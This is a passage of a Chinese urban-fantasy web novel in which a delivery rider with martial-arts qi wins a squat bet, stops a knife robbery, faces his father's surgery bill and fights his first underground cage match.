在所有人带着讥讽、怀疑和好奇的目光注视下,王大头走到了深蹲架前。
他没有像运动员那样做复杂的热身,也没有涂抹镁粉,只是简单地活动了一下脚踝和膝盖。然后,他深吸一口气。
这一口气,悠长而深沉,仿佛蕴含着某种独特的韵律。体内五年内力随之加速流转,如同温热的暖流,瞬间充盈四肢百骸,尤其是腰腹核心和双腿,感觉充满了**性的力量。
在刘教练和队员们惊愕的目光中,王大头既没有采用他们熟悉的高杠位或低杠位,而是用一种看似随意,却极为精准、符合人体发力最佳角度的姿势,将一百八十公斤的杠铃,稳稳地担在了肩背上!
起杠,稳如磐石!
“这…”刘教练脸上的讥笑瞬间僵住,眼神里闪过一丝惊疑。这起杠的稳定性和姿态,根本不像个新手!
下一刻,王大头腰腹核心骤然收紧,双腿如同生根般稳稳扎在地面。他屈膝,下蹲,动作标准得如同教科书,甚至比刚才那个被骂的队员还要标准!髋低于膝,大腿与地面平行!
整个过程,流畅,稳定,举重若重!那沉重的杠铃在他身上,仿佛失去了大部分重量!
然后,起身。
没有丝毫摇晃,没有面目狰狞,甚至呼吸都依旧平稳!
当他将杠铃稳稳放回深蹲架时,整个力量训练馆,陷入了一片死寂。只剩下器械运转的低沉嗡鸣。
所有人都张大了嘴巴,如同被施了定身法,眼睛瞪得滚圆,死死地盯着那个仿佛只是做了一件微不足道小事的外卖员。
刘教练脸上的肌肉在剧烈抽搐,之前那副居高临下的表情早已荡然无存,只剩下无比的震惊和……一丝被颠覆认知的茫然。
王大头拍了拍手上并不存在的灰尘,转身,目光落在刘教练那张变幻不定的脸上。
“刘教练,转账,还是现金?”
淡淡的一句话,如同无形的巴掌,抽醒了所有处于呆滞中的人。
刘教练脸上一阵红一阵白,看着王大头那平静无波的眼神,他感觉自己几十年的训练经验和世界观都被颠覆了。一个送外卖的,怎么可能有这么恐怖的核心力量和深蹲技术?!
他张了张嘴,想反驳,想找借口,但在绝对的事实面前,任何言语都显得苍白无力。他最终只能铁青着脸,拿出手机,咬着牙,给王大头转去了一万五千八百元。
听到手机到账的提示音,王大头心中并无太多喜悦。这笔钱,对于父亲的医药费依旧是杯水车薪,但这是一个开始。
第7章:科学的修炼
他没有理会周围那些如同看怪物般的眼神,径直走向角落那台体能检测仪。
“你…你真要用?”一个负责记录数据的年轻队员,结结巴巴地问,眼神里充满了敬畏。
“嗯。”王大头点点头,按照指示站了上去。
几分钟后,一系列数据出现在屏幕上:垂直起跳高度105厘米,卧推预估重量超过250公斤,反应速度、身体协调性等多项指标均远超仪器记录的职业运动员峰值……
看着这些非人的数据,刘教练和周围的队员已经彻底麻木了。
王大头默默记下数据,心中对自身实力有了更清晰的认知。他转身准备离开。
“等等!”刘教练突然叫住他,脸上表情复杂,之前的傲慢消失不见,取而代之的是一种对于超越常理力量的敬畏和探究,“兄弟…你…你到底是…”
王大头停下脚步,没有回头,只是留下一句:
“我只是个送外卖的。”
说完,他径直走出力量训练馆,留下身后一地的震惊和传说。
离开体校,天色已近黄昏。银行卡里多出一万五千八,但王大头的心情并未轻松多少。这点钱,距离父亲手术所需的巨额费用,仍是遥不可及。
地下拳赛,似乎成了眼前唯一的选择。
但他没有立刻联系张猛。体校检测的数据让他欣喜,也让他警惕。力量是基础,但如何更高效地运用力量,如何在即将到来的危险环境中生存和取胜,才是关键。
他回到那个十平米的出租屋,没有开灯,盘膝坐在冰冷的床板上。窗外城市的霓虹透过没有窗帘的玻璃,在他脸上投下明明暗暗的光影。
他闭上双眼,意识沉入体内,感受着那五年内力如同温顺的溪流,在经脉中按照《基础吐纳术》的路线缓缓运转。赵师傅传授的这门心法,中正平和,是打基础的绝佳法门,但……似乎不够高效。
“效率……”王大头睁开眼,目光落在墙上那幅自己手书的书法条幅——“格物致知”。这是大学时一位老教授赠给他的座右铭。意为探究事物原理,从而获得智慧与知识。
他的专业是机械工程,最擅长的就是分析结构、优化流程、提升效能!
一个大胆的念头在他脑海中迸发——为什么不能用科学的知识,来分析和优化内力的修炼?
这个想法一旦产生,便如同野草般疯长。
他立刻行动起来,找来纸笔。虽然贫穷,但这些最基本的学习工具他始终备着。
首先,是“建模”。
他将人体的经脉系统,想象成一套复杂的“液压传动系统”或者“电路网络”。内力,就是在这套网络中流动的“能量流体”或“电流”。
“根据流体力学中的伯努利方程,流速越快,压力越小……但在封闭管道中,流量守恒……”他一边喃喃自语,一边在纸上写画,“电流在导体中传输,电阻会导致能量损耗,表现为热量……那么内力在经脉中运行,是否也存在‘阻力’?哪些穴位和关隘是‘高电阻节点’?”
他将《基础吐纳术》的行功路线图在脑海中清晰地勾勒出来,然后用工程制图的思维,去分析每一条经脉的“管径”、“走向”、“弯折角度”,寻找可能存在的“涡流区”、“阻力点”。
“手太阴肺经,从胸部起始,行于上肢内侧前缘,这个弯折角度过大,是否会导致内力流速在此处减缓,形成湍流,造成能量损耗?”
“足阳明胃经,贯穿全身,路线最长,‘管线损耗’是否最大?能否找到更优化的‘并联电路’来分流?”
他完全沉浸了进去,忘记了时间,忘记了饥饿,忘记了窗外的喧嚣。高材生的逻辑思维能力和扎实的工程学知识,在此刻与玄之又玄的内功修炼发生了奇妙的化学反应。
他发现,赵师傅传授的《基础吐纳术》虽然稳健,但确实存在不少可以优化的“低效路径”和“瓶颈节点”。
接着,他开始尝试“仿真与优化”。
他在脑海中模拟内力流,运用动力学原理,计算在不同路径、不同流速下,内力的运行效率和可能对经脉造成的负荷。他尝试绕开一些不必要的迂回,在
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一些关键“节点”尝试改变内力的“冲击频率”和“脉冲波形”,模拟是否能更有效地冲关破隘。
这是一个极其耗费心力的过程,好几次因为计算错误或模拟失控,导致体内内力一阵紊乱,胸口发闷。但他凭借着强大的精神力和【五年内力感悟】带来的直觉,一次次调整,一次次优化。
不知不觉,窗外天色已然微亮。
当第一缕晨光射入屋内时,王大头猛地睁开眼睛,眸子里精光一闪而逝!
他成功了!
在《基础吐纳术》的基础上,他结合流体力学、动力学和电路原理,优化出了一套全新的内力运行路线——他将其命名为“高效周天循环法”!
这套**,减少了不必要的迂回路径,强化了对关键穴位的冲击效率和方式,使得内力在经脉中运行的“流阻”大大降低,“流速”和“流量”显著提升!
他迫不及待地尝试运转新的周天循环法。
嗡!
内力如同被注入了新的活力,以前所未有的速度和顺畅度在经脉中奔腾起来!原本一些晦涩难通、需要**工夫慢慢打通的细微经脉,在这股优化后的内力洪流冲击下,竟然隐隐有了松动的迹象!
一个周天结束,王大头缓缓吐出一口浊气,这口气箭射出半米多远,才缓缓消散。
他仔细感受着体内的变化,内力总量虽然增长不明显,但变得更加凝练、活跃,而且修炼速度,比起之前单纯的《基础吐纳术》,提升了将近20%!
20%!这是一个恐怖的数字!意味着别人修炼五天,他只需要四天!长年累月下来,差距将大到无法想象!
“知识,就是力量!”王大头握紧拳头,内心充满了激动和自豪。这是他独有的金手指!是系统之外,属于他自身智慧结出的硕果!
他看向窗外冉冉升起的朝阳,眼神无比坚定。
地下拳赛,他不再仅仅是依靠蛮力和系统奖励去搏命。他现在拥有了不断优化自身、持续变强的核心能力!
父亲,等着我!我一定会赢回救你的钱!
第8章:街头英雄
掌握了“高效周天循环法”,王大头感觉自己对内力的掌控更上一层楼。那种力量在体内圆融流转、如臂指使的感觉,让他信心倍增。
他决定,今天就去联系张猛,详细了解地下拳赛的事情。但在那之前,他仍需送餐,维持基本收入,同时……等待可能出现的“奇遇”。
午高峰,他穿梭在车水马龙之间,身姿越发矫健灵活,电驴在他手下仿佛拥有了生命,在拥堵的车流中游刃有余。
就在他送完一单,准备前往下一个取餐点时,路过一条相对僻静的辅路。突然,前方传来一阵女人的惊呼和拉扯声。
“抢东西啊!抓住他!”
只见一个穿着时尚、提着名牌手包的年轻女子,正惊慌地追赶着一个头戴鸭舌帽、蒙着口罩,手里抓着一个女式钱包,疯狂奔跑的瘦小男子。
**!
周围有零散的路人,但大多被这突如其来的变故惊住,或下意识地后退,或驻足观望,无人敢上前阻拦。那**手里明晃晃的**,散发着慑人的寒光。
王大头眼神一凝。
若是以前,他或许会权衡利弊,考虑自身安全。但此刻,体内涌动的力量,以及昨夜优化**后带来的强大自信,让他几乎没有犹豫。
“站住!”
他大喝一声,声音不大,却带着一股奇异的穿透力,让那狂奔的**身形微微一滞。
与此同时,王大头猛地一拧电门,电驴发出一声咆哮,如同脱缰的野马,朝着**斜刺里冲去!在接近**的瞬间,他单手一按车把,整个人如同轻盈的飞燕,从电驴上腾空而起,凌空一记迅捷无比的侧踢,直取**持刀的手腕!
这一系列动作快如闪电,干净利落,充满了力与美的结合!
那**只觉得眼前一花,手腕处传来一阵剧痛,仿佛被铁棍狠狠砸中,**“当啷”一声脱手飞出。他整个人也被这股巨大的力道带得一个趔趄,差点摔倒。
“操!”**又惊又怒,稳住身形,另一只手还死死抓着钱包,眼神凶狠地瞪向坏他好事的王大头,“**找死!”
他仗着身高力壮(相对瘦小的王大头而言),挥拳就朝王大头面门砸来,拳风呼呼,显然也是练过几下子,或者经常打架斗殴的狠角色。
若是普通人,这一拳挨上,至少也是个鼻血长流。
但在王大头眼中,这一拳的速度和轨迹,慢得如同蜗牛爬行。他甚至不需要动用太多内力,只是脚下微微一错,施展出融合了八极拳感悟和自身力学分析优化后的步法,轻易便避开了这势大力沉的一拳。
同时,他右手如电探出,五指如钩,精准地扣住了**挥拳那只手的手腕脉门。内力微微吞吐!
“啊!”**只觉得半边身子一麻,仿佛瞬间失去了力气,拳头软软地垂了下来。
王大头顺势一带一拧,用的正是八极拳中“缠丝劲”的简化技巧,结合了杠杆原理。
“咔嚓!”一声令人牙酸的关节错位声响起。
“嗷——!”**发出杀猪般的惨叫,整个人被一股巧劲拧得原地转了半圈,然后被王大头一脚踹在膝窝处,“噗通”一声跪倒在地,彻底失去了反抗能力。
整个交手过程,不过短短两三秒。
等周围的路人反应过来,凶神恶煞的持刀**,已经像条死狗一样跪在地上哀嚎,而那个穿着外卖服的小哥,则气定神闲地站在那里,仿佛只是随手拍**一只苍蝇。
“好!”
“牛逼!”
“小哥太厉害了!”
短暂的寂静后,周围爆发出热烈的掌声和叫好声。几个原本不敢上前的年轻小伙,此刻也壮着胆子围了上来,帮忙按住那个还在哀嚎的**。
被抢的那个年轻女子惊魂未定地跑过来,捡起自己的钱包,看着王大头,激动得语无伦次:“谢…谢谢你!真的太感谢你了!我…我这里面有很
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重要的证件…”
“不客气,举手之劳。”王大头平静地摇摇头,走过去扶起自己那辆因为无人操控而倒在地上的电驴,检查了一下,还好没什么大碍。
“你…你是送外卖的?”女子看着他身上的制服,依然觉得难以置信。一个外卖员,身手竟然这么好?
就在这时,一个拿着手机一直在拍摄的年轻人兴奋地跑过来:“哥们儿!你刚才太帅了!我都拍下来了!能发网上吗?肯定火!”
王大头眉头微皱,他并不想太高调,尤其是即将接触地下拳赛这种灰色地带的时候。但看着周围群情激动的人群和女子感激的眼神,他也不好强行阻止。
“随便吧。”他淡淡地说了一句,跨上电驴,“麻烦你们帮忙报下警,我还有单要送,先走了。”
说完,他不顾身后众人的挽留和追问,拧动电门,迅速离开了现场。
他并不知道,那个年轻人拍摄的视频,已经被迅速上传到了抖音、B站等短视频平台。
视频的标题取得相当耸动:【现实版都市兵王!外卖小哥三秒空手夺白刃,制服持刀悍匪!这身手绝了!】
视频中,王大头那凌空飞踢、巧妙擒拿、淡定制敌的身姿,与他身上那身朴素的蓝色外卖服形成了极其强烈的反差!
正如拍摄者所料,视频以病毒式的速度疯狂传播开来……
“我靠!这是特效吧?”
“送外卖现在都这么卷了吗?需要这身手?”
“妈妈问我为什么跪着看视频…”
“求小哥联系方式!我要给他生猴子!”
“这动作,比武侠片还帅!肯定是练家子!”
“外卖侠”的名号,不胫而走,比之前健身房深蹲和公园擒匪引起的关注度,高了何止十倍!
而此刻,事件的中心人物王大头,正将电驴停在路边,拨通了张猛的电话。
“猛子,地下拳赛的事,详细跟我说说。“”
第10章:绝境!五十万手术费
拿到全额工资,又加上之前体校教练“赔”的一万五和近期增多的打赏,王大头手上的现金达到了近三万元。这对他来说是一笔巨款,但距离目标,还远远不够。
晚上,他和张猛在一家街边烧烤摊坐下,几瓶啤酒下肚,张猛详细说起了地下拳赛的情况。
“地点在城南‘烈焰’酒吧地下室,每周三、六晚上开赛。老板背景很硬,据说跟林家有点关系。”张猛压低声音,“比赛不分量级,只论胜负。赢一场基础奖金五千,连胜有额外奖励,三连胜一万五,五连胜三万,十连胜据说有十万!而且……可以押注自己赢,赔率很高!”
王大头默默听着,心中计算着。如果他能打到十连胜,就能拿到十万奖金,如果再加上押注自己……
“危险吗?”他问。
“废话!”张猛灌了一口啤酒,脸色凝重,“那地方号称‘断骨台’,上台都要签生死状!轻则断手断脚,重则……去年就打死过两个!而且,里面水很深,有些人明显是练家子,下手黑得很。大头,我知道你急着用钱,但这事,你真得想清楚!”
王大头点了点头,没有说话,只是拿起酒杯跟张猛碰了一下。危险,他早有预料。但这是他目前能看到的,最快筹集巨额资金的途径。
接下来的几天,王大头白天依旧送餐,晚上则更加刻苦地修炼“高效周天循环法”,并反复揣摩、优化那【八极拳基础感悟】中的招式,力求在实战中能发挥出最大威力。
他偶尔会去雅韵咖啡坐坐,李雅看他的眼神愈发柔和,还会特意给他留一份她新研制的点心。王大头能感受到那份悄然滋生的情愫,但他现在,没有太多心思去考虑这些。
期间,他也隐隐感觉到似乎有人在暗中窥视他,但每当他凭借【危机感知】仔细探查时,那感觉又消失了。他知道,这可能是陈少,也可能是其他什么人。他提高了警惕,但并未太过担忧。
很快,又到了去医院看望父亲的日子。
他特意去银行取了两万块钱,准备先补上一部分欠款。
医院的走廊,永远弥漫着消毒水和绝望混合的味道。他熟门熟路地来到住院部,父亲的病房外。
然而,还没等他进门,就听到里面传来父亲剧烈的、撕心裂肺的咳嗽声,以及母亲带着哭腔的安抚。
他心头一紧,快步推门而入。
病床上,父亲王建国瘦得几乎脱了形,脸色蜡黄,眼眶深陷,每一次咳嗽都仿佛用尽了全身力气,身体蜷缩成一团。母亲坐在床边,不停地抹着眼泪,看到王大头进来,像是找到了主心骨,眼泪流得更凶了。
“大头…你爸他…他刚才又咳血了……”母亲的声音沙哑而绝望。
王大头的心瞬间沉到了谷底。他强忍着鼻尖的酸涩,走到床边,握住父亲枯瘦如柴、布满**的手,将一股精纯温和的内力缓缓渡了过去。
内力入体,王建国的咳嗽稍微平息了一些,他艰难地睁开眼,看到儿子,浑浊的眼睛里闪过一丝光亮和心疼,张了张嘴,想说什么,却终究没能发出声音,只是用力反握了一下儿子的手。
就在这时,主治医生刘医生拿着病历本走了进来,脸色凝重。
“王先生,你来得正好。”刘医生扶了扶眼镜,语气沉重,“你父亲的情况很不乐观,肺部感染加剧,并发多器官功能衰竭的前兆。保守治疗已经无法控制病情,必须尽快进行手术,否则……恐怕撑不过这个月了。”
虽然早有心理准备,但亲耳听到医生的话,王大头还
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是感觉一阵天旋地转,母亲更是直接瘫软在椅子上,失声痛哭。
“刘医生,手术……需要多少钱?”王大头深吸一口气,强迫自己冷静下来,声音带着一丝不易察觉的颤抖。
刘医生叹了口气,在病历本上写下了一个数字,递到王大头面前。
“这是初步预估,包括手术费、术后ICU监护、进口药物等等,你先准备……五十万。这还只是前期费用。”
五!十!万!
这三个字,如同三道惊雷,狠狠劈在王大头的头顶!
他之前所有的努力,体校赢来的一万五,站长的全额工资,所有的打赏,在这五十万面前,显得如此可笑和微不足道!
他手中紧紧攥着那装着两万块钱的信封,指关节因为用力而泛白。这两万块,甚至连零头都不够!
绝望,如同冰冷的海水,瞬间将他淹没。他甚至能听到自己心脏因为巨大的压力而疯狂跳动的声音,太阳穴突突直跳。
他看着病床上气若游丝的父亲,看着悲痛欲绝的母亲,看着医生那爱莫能助的眼神……
五十万!一个月!他到哪里去弄五十万?!
之前所有的冷静、所有的谋划、所有的提升,在这残酷的现实面前,仿佛都成了一个苍白的笑话。
他踉跄着后退一步,靠在冰冷的墙壁上,才勉强稳住身形。银行卡里那可怜的余额数字,在他脑海中疯狂闪烁。
怎么办?到底该怎么办?!
难道真的要去**吗?还是……
一个充斥着血腥、暴力与危险,但同时也伴随着巨额金钱诱惑的地方,清晰地浮现在他的脑海——
地下拳赛!
那不是选择,而是被命运扼住喉咙后,唯一的喘息之隙,也是……最后的疯狂!
第11章:黑拳!血腥的擂台
五十万!
这个数字像烧红的烙铁,狠狠烫在王大头的心尖。医院走廊的灯光白得瘆人,墙壁上“静”字的标语扭曲变形,像一张嘲讽的鬼脸。
空气中消毒水的气味钻入鼻腔,混合着母亲低抑呜咽中透出的绝望,以及父亲病床上传来的、如同破风箱般艰难而断续的呼吸声,共同构成一幅令人窒息的绝望图景。
他靠在冰冷的墙壁上,指甲深深掐进掌心,留下几道血痕,却感觉不到丝毫疼痛。脑海里只有一个声音在疯狂回荡:钱!五十万!一个月!
走出医院大门,凛冽的夜风如同无数把冰冷的刀子,刮过他因紧绷而僵硬的脸颊,却吹不散那几乎要将他灵魂都点燃的焦灼与无力感。
霓虹灯下的城市依旧车水马龙,繁华喧嚣,却与他内心的荒芜形成残酷对比。他掏出那部屏幕已有裂痕的旧手机,指尖因用力而微微泛白,拨通了张猛的电话。
“猛子,”他的声音沙哑得像是被砂纸磨过,每一个字都带着破釜沉舟的重量,“帮我安排,我要打拳。”
电话那头陷入了长达十几秒的沉默,只能听到沉重的呼吸声。张猛似乎想劝,想找其他办法,但最终,所有话语都化作了一个沉重的字眼:“好!”
周三夜晚,城南,“烈焰”酒吧。
从外部看,这只是城市霓虹中一个不起眼的角落,招牌上跳动的火焰图案带着几分俗气的诱惑。震耳欲聋的电子音乐如同实质的音浪,冲击着每一个进入者的耳膜,迷离闪烁的激光灯切割着弥漫的烟尘,舞池里扭动的身躯带着一种放纵的麻木。
张猛穿着洗得发白的牛仔夹克,神情紧张,熟门熟路地引着王大头穿过拥挤的人潮,绕到后厨区域。
一条不起眼的、灯光昏暗的通道出现在眼前,空气中飘散着食物馊味和清洁剂混合的怪异气味。通道入口处,如同两尊门神般矗立着两个壮汉。他们都穿着紧绷的黑色弹力背心,裸露出的臂膀肌肉虬结,青筋如同虬龙盘绕,眼神如同鹰隼般锐利,带着一股常年混迹地下世界形成的、毫不掩饰的煞气。
张猛堆起讨好的笑容,上前低声交涉,同时将一个厚厚的信封隐蔽地塞到其中一人手中。那壮汉掂了掂分量,冰冷的目光如同探照灯般在王大头身上扫过,重点在他那相较于拳手显得过于“单薄”的身板和带着几分学生气的清秀面容上停留片刻,嘴角扯起一丝几不可察的轻蔑弧度。
“新人?细皮嫩肉的,别第一场就让人把屎打出来。”他瓮声瓮气地嘲讽了一句,但还是侧身挥了挥手,示意放行。
通道向下延伸,墙壁是粗糙的水泥面,挂着几盏瓦数极低的白炽灯,投下昏暗摇曳的光影。空气中开始混杂进一丝若有若无的、铁锈般的腥甜气味,以及越来越清晰的、如同野兽咆哮般的疯狂呐喊。
走到尽头,一扇厚重的、包裹着磨损黑色皮革的隔音铁门拦在面前。门上一个狰狞的恶魔头像浮雕,在昏光下若隐若现。
张猛深吸一口气,看了王大头一眼,用力推开了这扇门——
“轰!!!”
如同海啸般的声浪混杂着热浪、汗臭、血腥、廉价烟酒和疯狂的气息,瞬间将两人吞没!眼前的世界豁然开朗,与门外仿佛是截然不同的两个维度!
一个巨大的、由粗壮铁丝网围成的标准八角笼雄踞中央,上方数盏大功率聚光灯将惨白刺目的光线聚焦于笼内,纤毫毕现,甚至能看清地面尚未干涸的暗红色污渍。笼外,是层层叠叠、密密麻麻的观众。
他们嘶吼着,咆哮着,挥舞着拳头或手中印着数字的下注凭证,面孔因极致的兴奋或愤怒而扭曲变形,衣冠楚楚者与纹身满臂者挤在一起,在此刻都褪去了文明的外衣,暴露出血腥与贪婪的本性。
金钱与暴力,是这里唯一的信仰。
王大头化名“王腾”,强迫自己适应这令人作呕的环境。他和张猛在靠近通道的角落找了个空隙站定,目光投向那散发着危险气息的铁笼。
笼内,一场对决已近尾声。一个绰号“野狗”的矮壮汉子,皮肤黝黑油亮,眼神凶狠如饿狼,正骑在对手身上,双**替砸下,如同铁锤般沉闷而规律地撞击在肉体和骨骼上。“噗嗤…砰砰…”的声音令人牙酸。被他压制的对手早已面目全非,满脸鲜血,身体无意识地抽搐着,显然失去了意识。
“停手!野狗胜!”裁判上前费力地将状若疯狂的“野狗”拉开。
“野狗”意犹未尽地舔了舔溅到嘴角的血沫,举起双臂,发出野兽般的嚎叫,迎接台下赌徒们狂热的欢呼。
两个穿着黑衣的工作人员面无表情地上台,一人抬头一人抬脚,像处理垃圾般将昏迷的选手拖离,在地面留下一道蜿蜒的、触目惊心的暗红痕迹。立刻有清洁工提着水桶和拖把上来,哗啦啦的水声和快速的擦拭,试图抹去刚才的残酷,但空气中那股浓得化不开的血腥味,却顽固地残留着。
“看…看见没?”张猛的声音带着不易察觉的颤抖,凑到王大头耳边,“那就是‘野狗’,下手从没轻重,听说以前在边境打过黑拳,身上背着重案……在这里,只有倒下的和站着的,认输?那得看对方给不给你机会开口……”
王大头沉默地点了点头,感觉心脏在胸腔里沉重地跳动,每一次搏动都牵扯着神经。这不是影视剧里的表演,而是真实存在的、赤裸裸的弱肉强食。他体内那五年的内力,似乎也被这原始野蛮的氛围所引动,在经脉中加速流转,带着一种跃跃欲试的躁动。
他看到赢钱的赌徒兴奋地数着钞票,脸上洋溢着扭曲的狂喜;也看到输红眼的人将票据撕得粉碎,歇斯底里地咒骂着一切。那些飞舞的钞票,那些因欲望满足而放光的眼睛,都在无声地呐喊着:这里,有能力满足你对金钱最迫切的渴望!
主持人是个穿着亮紫色西装、梳着油光水滑背头的瘦高个,他抓着麦克风,用一种极具煽动性、近乎癫狂的语调嘶吼着:“女士们!先生们!让我们再次感谢‘野狗’为我们带来的、充满力量美学的视觉盛宴!他的凶悍,让我们热血沸腾!”
“而现在!”他话音一转,聚光灯在场内胡乱扫射,最后猛地定格在角落里的王大头身上,刺目
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的白光让他下意识地眯起了眼睛,“让我们用最‘热烈’的掌声,‘欢迎’一位勇敢(或者说愚蠢)的新人!一位渴望在我们‘断骨台’上证明自己,或者……成为别人垫脚石的——王!腾!”
无数道目光瞬间聚焦过来,好奇、审视、不屑、怜悯、幸灾乐祸……如同无数根无形的针,刺在王大头身上。
“而他的对手!”主持人拉长了声调,如同即将揭开血腥盛宴的帷幕,“是已经用他狂暴的力量,两次将对手送进ICU的——‘绞!肉!机’!让我们屏住呼吸,欢迎噩梦的化身——绞肉机!登场!”
通道深处,一个如同小山般庞大的阴影,伴随着沉重得让地面微颤的脚步声,缓缓挪移出来。
当聚光灯打在他身上时,不少观众都倒吸了一口冷气!
此人身高接近一米九,体重绝对超过两百五十斤,并非纯粹的肥胖,而是肥硕与壮硕的恐怖结合体,如同一座移动的肉山。他剃着光头,头皮在灯光下泛着油光,满脸横肉堆积,将一双小眼睛挤成了两条凶光毕露的细缝。赤裸的上身,古铜色的皮肤上布满了纵横交错、如同蜈蚣爬行般的狰狞疤痕,无声诉说着他身经百战的残酷经历。
他一边走,一边用那堪比砂锅大的拳头狠狠对撞,发出“咚!咚!”的闷响,如同战鼓擂动。他张开血盆大口,朝着观众席发出一声震耳欲聋的咆哮,唾沫星子四溅,引来看台上更加疯狂的、如同朝圣般的呐喊与嘶吼。
“绞肉机!碾碎他!”
“妈的,这新人细胳膊细腿,够他塞牙缝吗?我押绞肉机,一万!”
“三十秒!我赌三十秒内结束战斗!”
狂热的声浪几乎要掀翻屋顶。几乎没有人认为那个看起来甚至有些文弱的“王腾”能活着站着离开铁笼。
张猛脸色发白,用力抓住王大头的胳膊,手指因紧张而冰凉:“大头!现在反悔还来得及!这他妈就是个怪物!钱我们可以再想办法,命只有一条啊!”
王大头轻轻却坚定地挣开了张猛的手。他深吸一口气,这口气息悠长而深沉,仿佛将周遭的混乱与喧嚣都压入肺腑,再缓缓吐出时,眼神已变得如同古井寒潭,深邃而平静。他脱下略显宽大的外套,露出里面紧身的黑色运动背心,那流线型却并不夸张的肌肉线条,在“绞肉机”那恐怖体型的对比下,脆弱得如同狂风中的细竹。
他没有回应张猛的劝阻,也没有在意周围那些或同情或嘲讽的目光。他的视线,穿透冰冷的铁丝网,牢牢锁定在那个散发着危险气息的庞然大物身上。
恐惧吗?有的。对未知的恐惧,对血腥的生理不适。但更多的,是一种被命运逼到悬崖边后,不得不纵身一跃的决绝,以及……内心深处,对自身力量进行第一次生死检验的、一丝难以抑制的渴望。
他迈开脚步,步伐稳定,走向那扇象征着痛苦、死亡,也可能是一线生机的铁笼之门。
身后,主持人亢奋到变形的声音,如同丧钟般敲响:
“下一场,新人王腾,对战——‘绞肉机’!比赛……现在开始!”
第12章:首战!三招KO!
第12章:首战!三招KO!
“哐当!”
八角笼的铁门在身后重重合拢,落锁的声音清脆而冰冷,彻底隔绝了外界山呼海啸般的喧嚣。然而,另一种无形的、更加令人窒息的压力,从笼内弥漫开来。空间逼仄,空气中浓烈的汗味、血腥味,以及“绞肉机”身上散发出的、如同野兽般的体味,混合成一种令人作呕的气息,无孔不入地钻进鼻腔。
聚光灯下的温度似乎都比外面高了几度,烤得人皮肤发烫。
“绞肉机”居高临下地俯视着王大头,那双被肥肉挤压的小眼睛里,闪烁着残忍而兴奋的光芒,如同猫盯着爪下无力反抗的老鼠。他咧开大嘴,露出满口黄黑交错的牙齿,瓮声瓮气的嘲笑声带着唾沫星子喷出:“小虫子,现在跪下,给爷爷磕三个响头,再从爷爷胯下钻过去,老子心情好,说不定只打断你三条腿,给你留条狗命爬出去!哈哈哈!”
他庞大的身躯微微晃动,每一步都让脚下的地面发出不堪重负的颤抖,如同一座移动的肉山,带着令人绝望的压迫感,缓缓逼近。
王大头依旧沉默。
他微微调整呼吸,双脚不丁不八地站立,看似随意,实则暗合八极拳“抱婴桩”的奥义,全身肌肉处于一种奇妙的松弛与紧绷并存的状态。体内,五年精纯内力如同蛰伏的江河,在优化后的“高效周天循环法”驱动下,于经脉中无声而迅疾地奔流,蓄势待发。他的眼神锐利如刀,瞬间解析着对手的每一个细微动作——那因过度体重而略显迟滞的脚步,那庞大身躯不易察觉的重心偏移,以及脖颈、腋下、关节等数个在武学认知中的薄弱要害。
“妈的,给脸不要脸!”“绞肉机”被王大头这种彻底的漠视彻底激怒,凶性大发!他怒吼一声,不再缓慢逼近,而是如同被激怒的犀牛,猛地一个前冲!庞大的身躯爆发出与其体型不符的瞬间速度,一只醋钵大的右拳,裹挟着令人头皮发麻的恶风,以最简单粗暴的轨迹,如同出膛的炮弹,直轰王大头的左侧太阳穴!拳锋未至,那压迫空气产生的劲风,已经吹起了王大头额前的几缕发丝!
台下瞬间爆发出更加狂热的呐喊,夹杂着几声不忍的惊呼和女性的尖叫。仿佛已经看到下一秒,这个不知天高地厚的新人脑浆迸裂的惨状。
张猛死死攥着拳头,指甲几乎掐进肉里,眼睛瞪得滚圆,心脏提到了嗓子眼。
然而,在王大头经过内力滋养和系统优化的动态视觉与神经反应下,这看似迅猛无比的一拳,其轨迹清晰得如同慢放镜头。他甚至不需要动用内力进行极限速度爆发,只是脚下步伐如同鬼魅般轻轻一滑,身体以一个微妙到极致的小幅度侧身,便以毫厘之差,让那足以开碑裂石的拳头擦着他的耳畔呼啸而过!
凌厉的拳风刮得他耳廓生疼,皮肤上激起一层细小的疙瘩。
一击落空,全力施为的“绞肉机”招式用老,前冲的势头带着他庞大的身躯不由自主地向前微微倾泻,中门大开!
就是现在!
王大头动了!
静如处子,动如雷霆!
体内五年内力在这一刻轰然爆发,不再是温顺的溪流,而是决堤的洪峰!他脚下猛地一蹬!《基础吐纳术》锤炼过的腿部肌肉,结合内力瞬间的喷涌,爆发出惊人的力量!混凝土地面似乎都发出一声轻微的哀鸣!他整个人化作一道离弦的黑色闪电,不退反进,以远超“绞肉机”预期的速度,瞬间切入对方因出拳而暴露出的巨大空档!
第一招!改良版·贴山靠!
他没有拘泥于传统的肩打,而是将全身冲刺的动能与五年内力,按照力学原理完美集中于右臂肘尖!肘如枪,人如龙!整个右臂在内力灌注下,仿佛化作一柄无坚不摧的攻城重锤,撕裂空气,带着一往无前的气势,狠狠撞向“绞肉机”那毫无防护的胸口正中——膻中穴!
“嘭!!!”
一声沉闷如巨木撞击的巨响,在嘈杂的环境中依然清晰可闻,甚至短暂压过了全场的呐喊!
“绞肉机”前冲的庞大身躯猛地一顿,如同高速行驶的卡车撞上了无形的壁垒!他脸上残忍的狞笑瞬间凝固,转为极致的错愕与痛苦!双眼猛地凸出,血丝瞬间弥漫!他感觉仿佛被一辆失控的轿车迎面撞中,胸骨发出令人牙酸的“咯咯”声,剧痛如同潮水般淹没神经!一口腥甜的液体涌上喉头,眼前金星乱冒,视野瞬间模糊,那口气憋在胸腔,几乎要炸开!
然而,王大头的攻击如疾风骤雨,毫不停歇!
就在一靠得手,旧力未尽的瞬间,他借着那股强大的反作用力,身体如同没有重量的柳絮,顺势完成了一个流畅而迅疾的旋转!
第二招!科学化·缠丝擒拿!
他的左手快如毒蛇出洞,五指如同铁钩,精准无比地扣住了“绞肉机”那因剧痛而暂时失控、肌肉松弛的右手手腕关节薄弱处!内力瞬间吞吐,不是蛮力硬掰,而是运用物理学中的杠杆原理,结合八极拳“缠丝劲”的巧妙旋拧,一抖一带!
“咔嚓!”
一声清脆得让人头皮发麻的骨骼错位声,清晰地传遍八角笼内外!
“啊嗷——!”“绞肉机”发出撕心裂肺的惨嚎,右臂以一个怪异的角度软软垂下,彻底失去了战斗力。剧痛和手臂被废的恐惧,让他瞬间方寸大乱,庞大的身躯因失去平衡而剧烈摇晃。
巨大的、致命的破绽,彻底暴露在王大头眼前!
对敌人的仁慈,就是对自己的残忍!尤其是在这个签了生死状、规则模糊的血腥擂台!
